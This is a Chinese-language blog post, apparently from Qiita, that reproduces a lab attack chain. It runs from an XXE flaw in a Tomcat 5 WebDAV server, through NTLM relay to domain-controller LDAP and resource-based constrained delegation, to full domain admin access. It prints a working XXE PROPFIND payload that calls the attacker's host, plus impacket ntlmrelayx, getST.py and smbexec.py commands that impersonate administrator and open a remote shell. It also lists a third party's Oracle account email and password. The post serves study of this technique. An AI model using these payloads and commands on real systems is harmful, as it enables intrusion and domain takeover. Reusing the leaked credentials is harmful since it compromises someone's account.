0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

XXE到域控复现(基于资源的约束委派)

0
Last updated at Posted at 2020-12-09

奇安信Ateam文章地址:XXE to 域控

概述

本文主要复现该文章中XXE中继的部分,主要利用的技术为通过XXE实现NTLM中继从而添加基于资源约束委派,最后拿到webdav的TGS票据。

一是对上文《Kerberos协议之基于资源的约束委派》的一个实战场景的讲解,二是加深对于资源约束委派的理解。

环境搭建

  1. 域控DC 172.16.33.12
  2. 目标机器DM2012 172.16.33.33
  3. 攻击机Kali 172.16.33.99
  4. 一个普通域账号 jack@test.local
  5. 其他机器 DM 172.16.33.8

webdav环境由jdk8u202和tomcat5.0.28

下载地址:

  1. Tomcat5.0.28 https://archive.apache.org/dist/tomcat/tomcat-5/v5.0.28/bin/jakarta-tomcat-5.0.28.zip
  2. JDK8u202 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
  3. Oracle账号 2696671285@qq.com 密码:Oracle123 来自老鼠拧刀满街找猫csdn

tomcat5自带了webdav,将搭建在dm2012目标机器上。配置好JAVA_HOME的环境变量之后,通过PsExec64.exe -i -s cmd以system权限启动tomcat。
image.png

复现

通过OPTIONS请求探测支持的请求方式
image.png

通过PROPFIND方法触发XXE
image.png

PROPFIND /webdav/ HTTP/1.1
Host: 172.16.33.33:8080
Content-Length: 247

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE propertyupdate [
<!ENTITY loot SYSTEM "http://172.16.33.99/"> ]>
<D:propertyupdate xmlns:D="DAV:"><D:set><D:prop>
<a xmlns="http://172.16.33.99/">&loot;</a>
</D:prop></D:set></D:propertyupdate>

因为javasun.net.www.protocol.http.HttpURLConnection类在响应401时,会根据响应判断使用哪种认证模式,这个时候我们可以返回要求使用ntlm认证,这样拿到目标机器的ntlm hash(参见Ghidra 从 XXE 到 RCE),继而通过中继其ntlm链接域控ldap添加基于资源的约束委派(我改我自己)。

而基于资源的约束委派还需要一个服务账户,我们可以通过Powermad来添加。而通过powermad添加就需要走Kerberos认证,即需要一个普通域账户Jack。

以域账户jack运行powermad添加机器账号,密码test123
image.png

在域控上已经添加了该账户
image.png

此时我们需要通过ntlm中继实现evilpc$dm2012$的传入信任关系,即设置evilpc$dm2012$的资源约束委派。这个资源约束委派是在dm2012$上设置的,是我们通过ntlm中继dm2012$链接到域控的ldap设置的。

impacket启动ntlm中继

impacket-ntlmrelayx -t ldap://dc.test.local -debug -ip 172.16.33.99 --delegate-access --escalate-user evilpc\$

image.png

触发xxe之后中继成功修改委派。接着模拟administrator申请高权限票据,然后ptt就完事了。

python3 getST.py -dc-ip dc.test.local test/evilpc\$:test123 -spn cifs/dm2012.test.local -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k dm2012.test.local

image.png

复现过程中碰到了[-] Exception in HTTP request handler: invalid server address的错误,解决办法是dns解析的问题,修改/etc/resolv.conf加上一行nameserver 172.16.33.12,让kali也能解析test.local域名就可以了。

总结

基于资源的约束委派利用条件:

  1. 拥有一个任意的服务账户1或者计算机账户1(evilpc$),如果没有,可以滥用普通域账户jack的MachineAccountQuota。
  2. 获得服务账户2的LDAP权限,文中采用的ntlm中继
  3. 配置服务1对服务2的约束委派
  4. 发起S4U2Proxy申请高权限票据进行ptt

相比于传统约束委派,信任关系的传入传出方向不同,设置的对象不同。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?